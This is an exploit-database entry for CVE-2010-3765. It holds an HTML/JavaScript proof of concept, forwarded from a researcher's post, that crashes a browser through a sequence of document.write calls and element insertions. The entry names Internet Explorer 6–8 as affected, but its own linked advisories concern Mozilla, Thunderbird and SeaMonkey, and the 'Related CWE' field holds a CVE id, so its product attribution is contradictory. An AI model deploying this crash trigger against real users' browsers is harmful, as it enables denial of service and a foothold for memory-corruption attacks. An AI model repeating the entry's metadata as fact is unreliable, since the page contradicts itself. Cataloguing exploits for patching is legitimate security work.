header-logo
Suggest Exploit
vendor:
Internet Explorer
by:
extraexploit
9,3
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Internet Explorer
Affected Version From: Internet Explorer 6
Affected Version To: Internet Explorer 8
Patch Exists: YES
Related CWE: CVE-2010-3765
CPE: a:microsoft:internet_explorer
Metasploit: https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2010-3765/, https://www.rapid7.com/db/vulnerabilities/freebsd-vid-c223b00d-e272-11df-8e32-000f20797ede/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2010-3765/, https://www.rapid7.com/db/vulnerabilities/mozilla-thunderbird-cve-2010-3765/, https://www.rapid7.com/db/vulnerabilities/mfsa2010-73-cve-2010-3765/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0808/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0809/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0810/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0896/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2010-3765/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0812/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0861/, https://www.rapid7.com/db/vulnerabilities/mozilla-seamonkey-cve-2010-3765/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2010

Proof of Concept for CVE-2010-3765

This proof of concept exploits a buffer overflow vulnerability in the way Internet Explorer handles certain HTML elements. The vulnerability is triggered when a maliciously crafted HTML page is opened in Internet Explorer. The proof of concept code creates a series of HTML elements, which when rendered by Internet Explorer, causes a buffer overflow and results in a crash.

Mitigation:

Microsoft has released a security update to address this vulnerability. Users should apply the update as soon as possible.
Source

Exploit-DB raw data:

Hi there,

For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:

<html><body>
<script>

  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }

  function crashme() {
    document.write("fooFOO");
    G("a");
    document.write("<a lang></a>a");
    G("base");
    document.write("barBAR");
    G("audio");
  }
</script>
<script>crashme();</script>
</body>
</html>

For more details:
http://extraexploit.blogspot.com/2010/10/cve-2010-3765-proof-of-concept.html
-- 
http://extraexploit.blogspot.com

Navigation

Suggest Exploit

Services By CQR